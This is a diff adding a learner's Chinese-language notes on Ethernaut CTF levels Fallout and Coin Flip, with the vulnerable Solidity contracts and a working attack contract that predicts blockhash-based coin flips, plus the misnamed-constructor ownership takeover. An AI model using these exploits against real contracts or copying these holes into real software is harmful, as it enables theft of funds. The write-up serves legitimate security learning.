@@ -15,6 +15,184 @@ web3萌新
1515## Notes
1616
1717<!-- Content_START -->
18+ # 2025-08-18
19+
20+ ## 2.** fallout**
21+
22+ 复制代码到remix中遇到第一个报错:
23+
24+ import "openzeppelin-contracts-06/math/SafeMath.sol";
25+
26+ 这一行代码应该已经报错找不到路径了,需要替换早期版本如下
27+
28+ import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol ";
29+
30+ ``` solidity
31+ // SPDX-License-Identifier: MIT
32+ pragma solidity ^0.6.0;
33+
34+ import "openzeppelin-contracts-06/math/SafeMath.sol";
35+
36+ contract Fallout {
37+ using SafeMath for uint256;
38+
39+ mapping(address => uint256) allocations;
40+ address payable public owner;
41+
42+ /* constructor */
43+ function Fal1out() public payable {
44+ owner = msg.sender;
45+ allocations[owner] = msg.value;
46+ }
47+
48+ modifier onlyOwner() {
49+ require(msg.sender == owner, "caller is not the owner");
50+ _;
51+ }
52+
53+ function allocate() public payable {
54+ allocations[msg.sender] = allocations[msg.sender].add(msg.value);
55+ }
56+
57+ function sendAllocation(address payable allocator) public {
58+ require(allocations[allocator] > 0);
59+ allocator.transfer(allocations[allocator]);
60+ }
61+
62+ function collectAllocations() public onlyOwner {
63+ msg.sender.transfer(address(this).balance);
64+ }
65+
66+ function allocatorBalance(address allocator) public view returns (uint256) {
67+ return allocations[allocator];
68+ }
69+ }
70+ ```
71+
72+ 在网页上没有看出来,实际上构造函数的函数名字跟合约名字不一样Fal1out()和Fallout
73+
74+ 代码审计一下,只需调用一次Fal1out()即可获得合约所有权
75+
76+ ``` solidity
77+ /* constructor */
78+ function Fal1out() public payable {
79+ owner = msg.sender;
80+ allocations[owner] = msg.value;
81+ }
82+ ```
83+
84+ ## 3.** Coin Flip**
85+
86+ ``` solidity
87+ // SPDX-License-Identifier: MIT
88+ pragma solidity ^0.8.0;
89+
90+ contract CoinFlip {
91+ uint256 public consecutiveWins;
92+ uint256 lastHash;
93+ uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
94+
95+ constructor() {
96+ consecutiveWins = 0;
97+ }
98+
99+ function flip(bool _guess) public returns (bool) {
100+ uint256 blockValue = uint256(blockhash(block.number - 1));
101+
102+ if (lastHash == blockValue) {
103+ revert();
104+ }
105+
106+ lastHash = blockValue;
107+ uint256 coinFlip = blockValue / FACTOR;
108+ bool side = coinFlip == 1 ? true : false;
109+
110+ if (side == _guess) {
111+ consecutiveWins++;
112+ return true;
113+ } else {
114+ consecutiveWins = 0;
115+ return false;
116+ }
117+ }
118+ }
119+ ```
120+
121+ 代码审计一下其实就是猜数字,需要连续猜对10次。
122+
123+ 数字的计算如下:
124+
125+ ``` solidity
126+ uint256 blockValue = uint256(blockhash(block.number - 1));
127+ uint256 coinFlip = blockValue / FACTOR;
128+ bool side = coinFlip == 1 ? true : false;
129+ ```
130+
131+ 取上一个区块的哈希值 blockhash(block.number - 1);
132+
133+ 除以 FACTOR这里是57896044618658097711785492504343953926634992332820282019728792003956564819968
134+
135+ 得到的结果要么是 0,要么是 1;
136+
137+ 如果是 1,则答案是 true,否则是 false。
138+
139+ 这里我们能对其进行预测的原因是:
140+
141+ 在攻击合约 ` attack() ` 中
142+
143+ ``` solidity
144+ uint256 blockValue = uint256(blockhash(block.number - 1));
145+ uint256 coinFlip = blockValue / FACTOR;
146+ bool side = (coinFlip == 1);
147+
148+ // 底层调用目标合约的 flip(bool) 函数
149+ (bool success, bytes memory data) = target.call(
150+ abi.encodeWithSignature("flip(bool)", side)
151+ );
152+ ```
153+
154+ 这段逻辑与目标合约一模一样,而且发生在同一交易、同一 EVM 上下文中;
155+
156+ 所以绝无“算错/不同步”的可能(除非在同块内第二次调用,触发 ` lastHash ` 检查)。
157+
158+ 每个新区块都能得到确定的 side,于是可以连续 10 次全中(10 个区块,10 次交易)
159+
160+ 攻击脚本如下:
161+
162+ ``` solidity
163+ // SPDX-License-Identifier: MIT
164+ pragma solidity ^0.8.0;
165+
166+ contract AttackCoinFlip {
167+ address public target;
168+ uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
169+
170+ constructor(address _target) {
171+ target = _target;
172+ }
173+
174+ function attack() external {
175+ uint256 blockValue = uint256(blockhash(block.number - 1));
176+ uint256 coinFlip = blockValue / FACTOR;
177+ bool side = (coinFlip == 1);
178+
179+ (bool success, bytes memory data) = target.call(
180+ abi.encodeWithSignature("flip(bool)", side)
181+ );
182+ }
183+ }
184+ ```
185+
186+ 但是需要注意
187+
188+ ``` solidity
189+ if (lastHash == blockValue) {
190+ revert();
191+ }
192+ ```
193+
194+ 如果两次猜测所在的区块一致会导致revert,因此脚本可能失败需要多执行几次。
195+
18196# 2025-08-17
19197
20198# 实践:Ethernaut闯关
0 commit comments